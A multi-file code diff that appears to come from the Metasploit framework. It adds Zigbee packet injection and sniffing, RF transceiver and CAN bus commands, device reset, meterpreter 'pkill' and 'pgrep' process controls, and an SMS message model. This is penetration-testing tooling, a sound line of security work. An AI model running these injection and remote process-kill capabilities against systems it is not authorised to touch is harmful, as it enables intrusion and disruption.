###
# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges
###
class Zigbee < Extension
def initialize(client)
super(client, 'zigbee')
# Alias the following things on the client object so that they
# can be directly referenced
client.register_extension_aliases(
[
{
'name' => 'zigbee',
'ext' => self
}
])
end
# Sets the default target device
# @param device [String] Target Zigbee device ID
def set_target_device(device)
self.target_device = device
end
# Retrieves the default zigbee device ID
# @return [String] Zigbee device ID
def get_target_device
self.target_device
end
# Gets supported Zigbee Devices
# @return [Array] Devices
def supported_devices
client.send_request("/zigbee/supported_devices")
end
# Sets the channel
# @param dev [String] Device to affect
# @param channel [Integer] Channel number
def set_channel(dev, channel)
client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}")
end
# Injects a raw packet
# @param dev [String] Zigbee Device ID
# @param data [String] Raw hex data that will be Base64 encoded
def inject(dev, data)
data = Base64.urlsafe_encode64(data)
client.send_request("/zigbee/#{dev}/inject?data=#{data}")
end
# Receives data from transceiver
# @param dev [String] Zigbee Device ID
# @return [Hash] { data: HexString, valid_crc: X, rssi: X }
def recv(dev)
data = client.send_request("/zigbee/#{dev}/recv")
if data.size > 0
data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data"
end
data
end
# Disables sniffer and puts the device in a state that can be changed (like adujsting channel)
# @param dev [String] Zigbee Device ID
def sniffer_off(dev)
client.send_request("/zigbee/#{dev}/sniffer_off")
end
# Enables sniffer receive mode. Not necessary to call before calling recv
# @param dev [String] Zigbee Device ID
def sniffer_on(dev)
client.send_request("/zigbee/#{dev}/sniffer_on")
end
attr_accessor :target_device
end
end
end
end
end
end

View File

@ -40,18 +40,18 @@ class Console::CommandDispatcher::Automotive
#
def cmd_supported_buses
buses = client.automotive.get_supported_buses
if not buses.size > 0
unless !buses.empty?
print_line("none")
return
end
str = "Available buses\n\n"
first = true
buses.each do |bus|
if not first
unless first
str += ", "
end
first = false
str += bus["bus_name"] if bus.has_key? "bus_name"
str += bus["bus_name"] if bus.key? "bus_name"
end
str += "\n"
print_line(str)
@ -63,7 +63,7 @@ class Console::CommandDispatcher::Automotive
def cmd_busconfig(*args)
bus = ''
bus_config_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-h' => [ false, 'Help banner' ],
'-b' => [ true, 'Target bus']
)
bus_config_opts.parse(args) do |opt, _idx, val|
@ -76,11 +76,12 @@ class Console::CommandDispatcher::Automotive
bus = val
end
end
if not client.automotive.is_valid_bus? bus
unless client.automotive.is_valid_bus? bus
print_error("You must specify a valid bus via -b")
return
end
config = client.automotive.get_bus_config(bus)
config
end
#
@ -103,13 +104,14 @@ class Console::CommandDispatcher::Automotive
bus = val
end
end
if not client.automotive.is_valid_bus? bus
unless client.automotive.is_valid_bus? bus
print_error("You must specify a valid bus via -b")
return
end
self.active_bus = bus
active_bus = bus
client.automotive.set_active_bus(bus)
hw_methods = client.automotive.get_supported_methods(bus)
hw_methods
end
#
@ -139,16 +141,17 @@ class Console::CommandDispatcher::Automotive
data = val
end
end
bus = self.active_bus if bus.blank? and not self.active_bus == nil
if not client.automotive.is_valid_bus? bus
bus = active_bus if bus.blank? && !active_bus.nil?
unless client.automotive.is_valid_bus? bus
print_error("You must specify a valid bus via -b")
return
end
if id.blank? or data.blank?
if id.blank? || data.blank?
print_error("You must specify a CAN ID (-I) and the data packets (-D)")
return
end
success = client.automotive.cansend(bus, id, data)
success
end
#
@ -159,6 +162,7 @@ class Console::CommandDispatcher::Automotive
end
private
attr_accessor :active_bus
end

View File

@ -57,6 +57,8 @@ class Console::CommandDispatcher::Core
"bglist" => "Lists running background scripts",
"status" => "Fetch bridge status information",
"specialty" => "Hardware devices specialty",
"reset" => "Resets the device (NOTE: on some devices this is a FULL FACTORY RESET)",
"reboot" => "Reboots the device (usually only supported by stand-alone devices)",
"load_custom_methods" => "Loads custom HW commands if any"
}
@ -132,7 +134,7 @@ class Console::CommandDispatcher::Core
def cmd_info(*args)
return unless msf_loaded?
if args.length != 1 or args.include?("-h")
if args.length != 1 || args.include?('-h')
cmd_info_help
return
end
@ -144,10 +146,10 @@ class Console::CommandDispatcher::Core
print_error 'Invalid module: ' << module_name
end
if (mod)
if mod
print_line(::Msf::Serializer::ReadableText.dump_module(mod))
mod_opt = ::Msf::Serializer::ReadableText.dump_options(mod, ' ')
print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if (mod_opt and mod_opt.length > 0)
print_line("\nModule options (#{mod.fullname}):\n\n#{mod_opt}") if mod_opt && mod_opt.length > 0
end
end
@ -171,12 +173,15 @@ class Console::CommandDispatcher::Core
return true
end
status = client.get_status
if status.has_key? "operational"
op = "Unknown"
op = "Yes" if status["operational"] == 1
op = "No" if status["operational"] == 2
if status.has_key? 'operational'
op = 'Unknown'
op = 'Yes' if status['operational'] == 1
op = 'No' if status['operational'] == 2
print_status("Operational: #{op}")
end
print_status("Device: #{status['device_name']}") if status.has_key? 'device_name'
print_status("FW Version: #{status['fw_version']}") if status.has_key? 'fw_version'
print_status("HW Version: #{status['hw_version']}") if status.has_key? 'hw_version'
end
def cmd_specialty_help
@ -196,6 +201,39 @@ class Console::CommandDispatcher::Core
print_line client.exploit.hw_specialty.to_s
end
def cmd_reset_help
print_line("Resets the device. In some cases this can be used to perform a factory reset")
print_line
end
#
# Performs a device reset or factory reset
#
def cmd_reset(*args)
if args.length > 0
cmd_reset_help
return
end
client.reset
end
def cmd_reboot_help
print_line("Reboots the device. This command typically only works on independent devices that")
print_line("are not attached to a laptop or other system")
print_line
end
#
# Perform a device reboot
#
def cmd_reboot(*args)
if args.length > 0
cmd_reboot_help
return
end
client.reboot
end
def cmd_load_custom_methods_help
print_line("Usage: load_custom_methods")
print_line
@ -212,14 +250,14 @@ class Console::CommandDispatcher::Core
return true
end
res = client.get_custom_methods
if res.has_key? "Methods"
if res.has_key? 'Methods'
cmd_load("custom_methods")
self.shell.dispatcher_stack.each do |dispatcher|
if dispatcher.name =~/custom methods/i
dispatcher.load_methods(res["Methods"])
dispatcher.load_methods(res['Methods'])
end
end
print_status("Loaded #{res["Methods"].size} method(s)")
print_status("Loaded #{res['Methods'].size} method(s)")
else
print_status("Not supported")
end
@ -236,13 +274,13 @@ class Console::CommandDispatcher::Core
# Loads one or more meterpreter extensions.
#
def cmd_load(*args)
if (args.length == 0)
if args.length == 0
args.unshift("-h")
end
@@load_opts.parse(args) { |opt, idx, val|
case opt
when "-h"
when '-h'
cmd_load_help
return true
end
@ -252,7 +290,7 @@ class Console::CommandDispatcher::Core
args.each { |m|
md = m.downcase
if (extensions.include?(md))
if extensions.include?(md)
print_error("The '#{md}' extension has already been loaded.")
next
end
@ -301,7 +339,7 @@ class Console::CommandDispatcher::Core
# First try it as a Post module if we have access to the Metasploit
# Framework instance. If we don't, or if no such module exists,
# fall back to using the scripting interface.
if (msf_loaded? and mod = client.framework.modules.create(script_name))
if msf_loaded? && mod = client.framework.modules.create(script_name)
original_mod = mod
reloaded_mod = client.framework.modules.reload_module(original_mod)
@ -332,16 +370,16 @@ class Console::CommandDispatcher::Core
def cmd_run_tabs(str, words)
tabs = []
if(not words[1] or not words[1].match(/^\//))
if !words[1] || !words[1].match(/^\//)
begin
if (msf_loaded?)
tabs += tab_complete_postmods
if msf_loaded?
tabs << tab_complete_postmods
end
[ # We can just use Meterpreters script path
::Msf::Sessions::Meterpreter.script_base,
::Msf::Sessions::Meterpreter.user_script_base
].each do |dir|
next if not ::File.exist? dir
next unless ::File.exist? dir
tabs += ::Dir.new(dir).find_all { |e|
path = dir + ::File::SEPARATOR + e
::File.file?(path) and ::File.readable?(path)
@ -367,7 +405,7 @@ class Console::CommandDispatcher::Core
jid = self.bgjob_id
self.bgjob_id += 1
Z# Get the script name
# Get the script name
self.bgjobs[jid] = Rex::ThreadFactory.spawn("HWBridgeBGRun(#{args[0]})-#{jid}", false, jid, args) do |myjid,xargs|
::Thread.current[:args] = xargs.dup
begin
@ -457,15 +495,15 @@ protected
self.class.client_extension_search_paths.each do |path|
path = ::File.join(path, "#{mod}.rb")
klass = CommDispatcher.check_hash(path)
if (klass == nil)
if klass.nil?
old = CommDispatcher.constants
next unless ::File.exist? path
if (require(path))
if require(path)
new = CommDispatcher.constants
diff = new - old
next if (diff.empty?)
next if diff.empty?
klass = CommDispatcher.const_get(diff[0])
@ -497,7 +535,7 @@ protected
def tab_complete_postmods
tabs = client.framework.modules.post.map { |name,klass|
mod = client.framework.modules.post.create(name)
if mod and mod.session_compatible?(client)
if mod && mod.session_compatible?(client)
mod.fullname.dup
else
nil

View File

@ -0,0 +1,587 @@
# -*- coding: binary -*-
require 'rex/post/hwbridge'
require 'msf/core/auxiliary/report'
module Rex
module Post
module HWBridge
module Ui
###
# RF Transceiver extension - set of commands to be executed on transceivers like the TI cc11XX
###
class Console::CommandDispatcher::RFtransceiver
include Console::CommandDispatcher
include Msf::Auxiliary::Report
#
# List of supported commands.
#
def commands
all = {
'supported_idx' => 'suppored USB indexes',
'idx' => 'sets an active idx',
'freq' => 'sets the frequency',
'modulation' => 'sets the modulation',
'flen' => 'sets the fixed length packet size',
'vlen' => 'sets the variable length packet size',
'xmit' => 'transmits some data',
'recv' => 'receive a packet of data',
'enable_crc' => 'enables crc',
'enable_manchester' => 'enables manchester encoding',
'channel' => 'sets channel',
'channel_bw' => 'sets the channel bandwidth',
'baud' => 'sets the baud rate',
'deviation' => 'sets the deviation',
'sync_word' => 'sets the sync word',
'preamble' => 'sets the preamble number',
'power' => 'sets the power level',
'maxpower' => 'sets max power'
}
all
end
def cmd_supported_idx
indexes = client.rftransceiver.supported_idx
if !indexes || !indexes.has_key?('indexes')
print_line("error retrieving index list")
return
end
indexes = indexes['indexes']
unless indexes.size > 0
print_line('none')
return
end
self.idx = indexes[0].to_i if indexes.size == 0
str = "Supported Indexes: "
str << indexes.join(', ')
str << "\nUse idx to set your desired bus, default is 0"
print_line(str)
end
#
# Sets the USB IDS
#
def cmd_idx(*args)
self.idx = 0
idx_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-i' => [ true, 'USB index, default 0' ]
)
idx_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: idx -i <Index number>\n")
print_line(idx_opts.usage)
return
when '-i'
self.idx = val
end
end
print_line("set index to #{self.idx}")
end
def cmd_freq_help
print_line("Sets the RF Frequency\n")
print_line("Usage: freq -f <frequency number>")
print_line("\nExample: freq -f 433000000")
end
#
# Takes the results of a client request and prints Ok on success
#
def print_success(r)
if r.has_key?('success') && r['success'] == true
print_line("Ok")
else
print_line("Error")
end
end
#
# Sets the frequency
#
def cmd_freq(*args)
self.idx ||= 0
freq = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-f' => [ true, 'frequency to set, example: 433000000' ],
'-m' => [ true, 'Mhz' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: freq -f <frequency number>\n")
print_line(opts.usage)
return
when '-f'
freq = val.to_i
when '-m'
mhz = val.to_i
end
end
if freq == -1
cmd_freq_help
return
end
arg['mhz'] = mhz if mhz
r = client.rftransceiver.set_freq(idx, freq, arg)
print_success(r)
end
def cmd_modulation_help
print_line("Usage: modulation -M <Modulation name>\n")
print_line("Modulation names:\n")
print_line(" #{client.rftransceiver.get_supported_modulations(idx)}")
print_line("\nExample: modulation -M ASK/OOK")
end
#
# Sets the modulation
#
def cmd_modulation(*args)
self.idx ||= 0
mod = nil
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-M' => [ true, 'Modulation name, See help for options' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
cmd_modulation_help
print_line(opts.usage)
return
when '-M'
mod = val
end
end
unless mod
cmd_modulation_help
return
end
r = client.rftransceiver.set_modulation(idx, mod)
print_success(r)
end
#
# Sets the fixed length
#
def cmd_flen(*args)
self.idx ||= 0
flen = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-l' => [ true, 'Fixed Length' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: flen -l <length>\n")
print_line(opts.usage)
return
when '-l'
flen = val.to_i
end
end
if flen == -1
print_line("You must specify a length")
return
end
r = client.rftransceiver.make_pkt_flen(idx, flen)
print_success(r)
end
#
# Sets the variable length
#
def cmd_vlen(*args)
self.idx ||= 0
vlen = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-l' => [ true, 'Variable Length' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: vlen -l <length>\n")
print_line(opts.usage)
return
when '-l'
vlen = val.to_i
end
end
if vlen == -1
print_line("You must specify a length")
return
end
r = client.rftransceiver.make_pkt_vlen(idx, vlen)
print_success(r)
end
#
# Xmit packet
#
def cmd_xmit(*args)
self.idx ||= 0
data = nil
repeat = -1
offset = -1
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Variable Length' ],
'-r' => [ true, 'Repeat' ],
'-o' => [ true, 'Data offset' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: xmit -d <data>\n")
print_line(opts.usage)
return
when '-d'
data = val
when '-r'
repeat = val.to_i
when '-o'
offset = val.to_i
end
end
unless data
print_line("You must specify the data argument (-d)")
return
end
arg['repeat'] = repeat unless repeat == -1
arg['offset'] = offset unless offset == -1
r = client.rftransceiver.rfxmit(idx, data, arg)
print_success(r)
end
#
# Recieve data packet
#
def cmd_recv(*args)
self.idx ||= 0
arg = {}
timeout = -1
blocksize = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-t' => [ true, 'timeout' ],
'-b' => [ true, 'blocksize' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: recv\n")
print_line(opts.usage)
return
when '-t'
timeout = val.to_i
when '-b'
blocksize = val.to_i
end
end
arg['blocksize'] = blocksize unless blocksize == -1
arg['timeout'] = timeout unless timeout == -1
r = client.rftransceiver.rfrecv(idx, arg)
if r.has_key?('data') && r.has_key?('timestamp')
print_line(" #{r['timestamp']}: #{r['data'].inspect}")
else
print_line("Error")
end
end
#
# Enable CRC
#
def cmd_enable_crc(*args)
self.idx ||= 0
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: enable_crc\n")
print_line(opts.usage)
return
end
end
r = client.rftransceiver.enable_packet_crc(idx)
print_success(r)
end
#
# Enable Manchester encoding
#
def cmd_enable_manchester(*args)
self.idx ||= 0
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: enable_manchester\n")
print_line(opts.usage)
return
end
end
r = client.rftransceiver.enable_manchester(idx)
print_success(r)
end
#
# Set channel
#
def cmd_channel(*args)
self.idx ||= 0
channel = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-c' => [ true, 'Channel number' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: channel -c <channel number>\n")
print_line(opts.usage)
return
when '-c'
channel = val.to_i
end
end
if channel == -1
print_line("You must specify a channel number")
return
end
r = client.rftransceiver.set_channel(idx, channel)
print_success(r)
end
#
# Set channel bandwidth
#
def cmd_channel_bw(*args)
self.idx ||= 0
bandwidth = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Bandwidth' ],
'-m' => [ true, 'Mhz' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: channel_bw -b <bandwidth>\n")
print_line(opts.usage)
return
when '-b'
bandwidth = val.to_i
when '-m'
mhz = val.to_i
end
end
if bandwidth == -1
print_line("You must specify the bandwidth (-b)")
return
end
arg['mhz'] = mhz if mhz
r = client.rftransceiver.set_channel_bandwidth(idx, bandwidth, arg)
print_success(r)
end
#
# Set baud rate
#
def cmd_baud(*args)
self.idx ||= 0
baud = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-b' => [ true, 'Baud rate' ],
'-m' => [ true, 'Mhz' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: baud -b <baud rate>\n")
print_line(opts.usage)
return
when '-b'
baud = val.to_i
when '-m'
mhz = val.to_i
end
end
if baud == -1
print_line("You must specify a baud rate")
return
end
arg['mhz'] = mhz if mhz
r = client.rftransceiver.set_baud_rate(idx, baud, arg)
print_success(r)
end
#
# Set Deviation
#
def cmd_deviation(*args)
self.idx ||= 0
deviat = -1
mhz = nil
arg = {}
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-d' => [ true, 'Deviat' ],
'-m' => [ true, 'Mhz' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: deviation -d <deviat value>\n")
print_line(opts.usage)
return
when '-d'
deviat = val.to_i
when '-m'
mhz = val.to_i
end
end
if deviat == -1
print_line("You must specify a deviat value")
return
end
arg['mhz'] = mhz if mhz
r = client.rftransceiver.set_deviation(idx, deviat, arg)
print_success(r)
end
#
# Set Sync word
#
def cmd_sync_word(*args)
self.idx ||= 0
word = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-w' => [ true, 'Sync word (Integer)' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: sync_word -w <int>\n")
print_line(opts.usage)
return
when '-w'
word = val.to_i
end
end
if word == -1
print_line("You must specify a sync word")
return
end
r = client.rftransceiver.set_sync_word(idx, word)
print_success(r)
end
def cmd_preamble_help
print_line("get the minimum number of preamble bits to be transmitted. note this is a flag, not a count")
print_line("so the return value must be interpeted - e.g. 0x30 == 0x03 << 4 == MFMCFG1_NUM_PREAMBLE_6 == 6 bytes")
end
#
# Set Preamble size
#
def cmd_preamble(*args)
self.idx ||= 0
preamble = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-n' => [ true, 'Number of preamble' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: preamble -n <number bits>\n")
print_line(opts.usage)
return
when '-n'
preamble = val.to_i
end
end
if preamble == -1
print_line("You must specify the number of preamble bits")
return
end
r = client.rftransceiver.set_number_preamble(idx, preamble)
print_success(r)
end
def cmd_maxpower_help
print_line("Max power is frequency dependent. Set frequency first")
end
#
# Sets max power
#
def cmd_maxpower(*args)
self.idx ||= 0
if args.length > 0
cmd_maxpower_help
return
end
r = client.rftransceiver.set_maxpower(idx)
print_success(r)
end
def cmd_power(*args)
self.idx ||= 0
power = -1
opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help Banner' ],
'-p' => [ true, 'Power level' ]
)
opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: power -p <power level>\n")
print_line(opts.usage)
return
when '-p'
power = val.to_i
end
end
if power == -1
print_line("You must specify the power level")
return
end
r = client.rftransceiver.set_power(idx, power)
print_success(r)
end
#
# Name for this dispatcher
#
def name
'RFtransceiver'
end
attr_accessor :idx
end
end
end
end
end

View File

@ -0,0 +1,125 @@
# -*- coding: binary -*-
require 'rex/post/hwbridge'
require 'msf/core/auxiliary/report'
module Rex
module Post
module HWBridge
module Ui
###
# Zigbee extension - set of commands to be executed on Zigbee compatible devices
###
class Console::CommandDispatcher::Zigbee
include Console::CommandDispatcher
include Msf::Auxiliary::Report
#
# List of supported commands.
#
def commands
all = {
'supported_devices' => 'Get supported ZigBee devices',
'target' => 'Set the target device id',
'channel' => 'Set the channel'
}
all
end
# Sets the target device both in the UI class and in the base API
# @param device [String] Device ID
def set_target_device(device)
self.target_device = device
client.zigbee.set_target_device device
end
#
# Lists all thesupported devices
#
def cmd_supported_devices
devices = client.zigbee.supported_devices
if !devices or !devices.has_key? "devices"
print_line("error retrieving list of devices")
return
end
devices = devices["devices"]
unless devices.size > 0
print_line("none")
return
end
set_target_device(devices[0]) if devices.size == 1
str = "Supported Devices: "
str << devices.join(', ')
str << "\nUse device name to set your desired device, default is: #{self.target_device}"
print_line(str)
end
#
# Sets the default target device
#
def cmd_target(*args)
self.target_device = ""
device_opts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help banner' ],
'-d' => [ true, 'Device ID' ]
)
device_opts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: target -d <device id>\n")
print_line(device_opts.usage)
return
when '-d'
set_target_device val
end
end
print_line("set target device to #{self.target_device}")
end
#
# Sets the channel
#
def cmd_channel(*args)
chan = 11
dev = self.target_device if self.target_device
xopts = Rex::Parser::Arguments.new(
'-h' => [ false, 'Help banner' ],
'-d' => [ true, 'ZigBee device' ],
'-c' => [ true, 'Channel number' ]
)
xopts.parse(args) do |opt, _idx, val|
case opt
when '-h'
print_line("Usage: channel -c <channel number>\n")
print_line(xopts.usage)
return
when '-d'
dev = val
when '-c'
chan = val.to_i
end
end
if !dev
print_line("You must specify or set a target device")
return
end
client.zigbee.set_channel(dev, chan)
print_line("Device #{dev} channel set to #{chan}")
end
#
# Name for this dispatcher
#
def name
'Zigbee'
end
attr_accessor :target_device
end
end
end
end
end

View File

@ -63,12 +63,13 @@ class Console::CommandDispatcher::Stdapi::Sys
# Options for the 'ps' command.
#
@@ps_opts = Rex::Parser::Arguments.new(
"-S" => [ true, "String to search for (converts to regex)" ],
"-h" => [ false, "Help menu." ],
"-A" => [ true, "Filters processes on architecture" ],
"-s" => [ false, "Show only SYSTEM processes" ],
"-c" => [ false, "Show only child processes of the current shell" ],
"-U" => [ true, "Filters processes on the user using the supplied RegEx"])
"-S" => [ true, "Filter on process name" ],
"-U" => [ true, "Filter on user name" ],
"-A" => [ true, "Filter on architecture" ],
"-x" => [ false, "Filter for exact matches rather than regex" ],
"-s" => [ false, "Filter only SYSTEM processes" ],
"-c" => [ false, "Filter only child processes of the current shell" ],
"-h" => [ false, "Help menu." ])
#
# Options for the 'suspend' command.
@ -92,6 +93,8 @@ class Console::CommandDispatcher::Stdapi::Sys
"getsid" => "Get the SID of the user that the server is running as",
"getenv" => "Get one or more environment variable values",
"kill" => "Terminate a process",
"pkill" => "Terminate processes by name",
"pgrep" => "Filter processes by name",
"ps" => "List running processes",
"reboot" => "Reboots the remote computer",
"reg" => "Modify and interact with the remote registry",
@ -113,6 +116,8 @@ class Console::CommandDispatcher::Stdapi::Sys
"getsid" => [ "stdapi_sys_config_getsid" ],
"getenv" => [ "stdapi_sys_config_getenv" ],
"kill" => [ "stdapi_sys_process_kill" ],
"pkill" => [ "stdapi_sys_process_kill", "stdapi_sys_process_get_processes" ],
"pgrep" => [ "stdapi_sys_process_get_processes" ],
"ps" => [ "stdapi_sys_process_get_processes" ],
"reboot" => [ "stdapi_sys_power_exitwindows" ],
"reg" => [
@ -372,7 +377,81 @@ class Console::CommandDispatcher::Stdapi::Sys
def cmd_kill_help
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
print_line("Terminate one or more processes.")
print_line(" -s : Kills the pid associated with the current session.")
print_line(" -s Kills the pid associated with the current session.")
end
#
# Kills one or more processes by name.
#
def cmd_pkill(*args)
if args.include?('-h')
cmd_pkill_help
return true
end
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args)
if processes.length == 0
print_line("No matching processes were found.")
return true
end
if processes.length == all_processes.length && !args.include?('-f')
print_error("All processes will be killed, use '-f' to force.")
return true
end
pids = processes.collect { |p| p['pid'] }.reverse
print_line("Killing: #{pids.join(', ')}")
client.sys.process.kill(*(pids.map { |x| x }))
true
end
def cmd_pkill_help
print_line("Usage: pkill [ options ] pattern")
print_line("Terminate one or more processes by name.")
print_line @@ps_opts.usage
end
#
# Filters processes by name
#
def cmd_pgrep(*args)
if args.include?('-h')
cmd_pgrep_help
return true
end
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args, quiet: true)
if processes.length == 0 || processes.length == all_processes.length
return true
end
# XXX fix Rex parser to properly handle adjacent short flags
f_flag = args.include?('-f') || args.include?('-lf') || args.include?('-fl')
l_flag = args.include?('-l') || args.include?('-lf') || args.include?('-fl')
processes.each do |p|
if l_flag
if f_flag
print_line("#{p['pid']} #{p['path']}")
else
print_line("#{p['pid']} #{p['name']}")
end
else
print_line("#{p['pid']}")
end
end
true
end
def cmd_pgrep_help
print_line("Usage: pgrep [ options ] pattern")
print_line("Filter processes by name.")
print_line @@ps_opts.usage
end
#
@ -418,7 +497,87 @@ class Console::CommandDispatcher::Stdapi::Sys
valid_pids << pid
end
end
return valid_pids
valid_pids
end
def match_processes(processes, args, quiet: false)
search_proc = nil
search_user = nil
exact_match = false
# Parse opts
@@ps_opts.parse(args) do |opt, idx, val|
case opt
when '-S', nil
if val.nil? || val.empty?
print_error "Enter a process name"
processes = []
else
search_proc = val
end
when "-U"
if val.nil? || val.empty?
print_line "Enter a process user"
processes = []
else
search_user = val
end
when '-x'
exact_match = true
when "-A"
if val.nil? || val.empty?
print_error "Enter an architecture"
processes = []
else
print_line "Filtering on arch '#{val}" if !quiet
processes = processes.select do |p|
p['arch'] == val
end
end
when "-s"
print_line "Filtering on SYSTEM processes..." if !quiet
processes = processes.select do |p|
["NT AUTHORITY\\SYSTEM", "root"].include? p['user']
end
when "-c"
print_line "Filtering on child processes of the current shell..." if !quiet
current_shell_pid = client.sys.process.getpid
processes = processes.select do |p|
p['ppid'] == current_shell_pid
end
end
end
unless search_proc.nil?
print_line "Filtering on '#{search_proc}'" if !quiet
if exact_match
processes = processes.select do |p|
p['name'] == search_proc
end
else
match = /#{search_proc}/
processes = processes.select do |p|
p['name'] =~ match
end
end
end
unless search_user.nil?
print_line "Filtering on user '#{search_user}'" if !quiet
if exact_match
processes = processes.select do |p|
p['user'] == search_user
end
else
match = /#{search_user}/
processes = processes.select do |p|
p['user'] =~ match
end
end
end
Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new(processes)
end
#
@ -430,80 +589,28 @@ class Console::CommandDispatcher::Stdapi::Sys
return true
end
# Init vars
processes = client.sys.process.get_processes
search_term = nil
all_processes = client.sys.process.get_processes
processes = match_processes(all_processes, args)
# Parse opts
@@ps_opts.parse(args) { |opt, idx, val|
case opt
when '-S'
search_term = val
if search_term.nil?
print_error("Enter a search term")
if processes.length == 0
print_line("No matching processes were found.")
return true
end
when "-A"
print_line "Filtering on arch..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
next if proc['arch'].nil? or proc['arch'].empty?
if val.nil? or val.empty?
return false
end
searched_procs << proc if proc["arch"] == val
end
processes = searched_procs
when "-s"
print_line "Filtering on SYSTEM processes..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
searched_procs << proc if proc["user"] == "NT AUTHORITY\\SYSTEM"
end
processes = searched_procs
when "-c"
print_line "Filtering on child processes of the current shell..."
current_shell_pid = client.sys.process.getpid
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
searched_procs << proc if proc['ppid'] == current_shell_pid
end
processes = searched_procs
when "-U"
print_line "Filtering on user name..."
searched_procs = Rex::Post::Meterpreter::Extensions::Stdapi::Sys::ProcessList.new
processes.each do |proc|
if val.nil? or val.empty?
print_line "You must supply a search term!"
return false
end
searched_procs << proc if proc["user"].match(/#{val}/)
end
processes = searched_procs
end
}
if (processes.length == 0)
print_line("No running processes were found.")
else
tbl = processes.to_table('SearchTerm' => search_term)
tbl = processes.to_table
print_line
print_line(tbl.to_s)
end
return true
true
end
def cmd_ps_help
print_line "Usage: ps [ options ]"
print_line "Usage: ps [ options ] pattern"
print_line
print_line "Use the command with no arguments to see all running processes."
print_line "The following options can be used to filter those results:"
print_line @@ps_opts.usage
end
#
# Reboots the remote computer.
#

View File

@ -32,10 +32,11 @@ module Rex
# Sends a text to multiple recipients.
#
# @param phone_numbers [<String>Array] An array of phone numbers.
# @param subject [String] Subject of the message
# @param message [String] The text message to send.
#
# @return [void]
def send_text_to_phones(phone_numbers, message)
def send_text_to_phones(phone_numbers, subject, message)
carrier = Rex::Proto::Sms::Model::GATEWAYS[self.carrier]
recipients = phone_numbers.collect { |p| "#{p}@#{carrier}" }
address = self.smtp_server.address
@ -52,7 +53,13 @@ module Rex
smtp.enable_starttls_auto
smtp.start(helo_domain, username, password, login_type) do
recipients.each do |r|
smtp.send_message(message, from, r)
sms_message = Rex::Proto::Sms::Model::Message.new(
from: from,
to: r,
subject: subject,
message: message
)
smtp.send_message(sms_message.to_s, from, r)
end
end
rescue Net::SMTPAuthenticationError => e

View File

@ -28,4 +28,5 @@ end
require 'net/smtp'
require 'rex/proto/sms/model/smtp'
require 'rex/proto/sms/model/message'
require 'rex/proto/sms/client'

View File

@ -0,0 +1,65 @@
# -*- coding: binary -*-
module Rex
module Proto
module Sms
module Model
class Message
# @!attribute message
# @return [String] The text message
attr_accessor :message
# @!attribute from
# @return [String] The from field in the email
attr_accessor :from
# @!attribute to
# @return [String] The to field in the email
attr_accessor :to
# @!attribute subject
# @return [String] The subject of the email
attr_accessor :subject
# Initializes the SMTP object.
#
# @param [Hash] opts
# @option opts [String] :from
# @option opts [String] :to
# @option opts [String] :message
#
# @return [Rex::Proto::Sms::Model::Message]
def initialize(opts={})
self.from = opts[:from]
self.to = opts[:to]
self.message = opts[:message]
self.subject = opts[:subject]
end
# Returns the raw SMS message
#
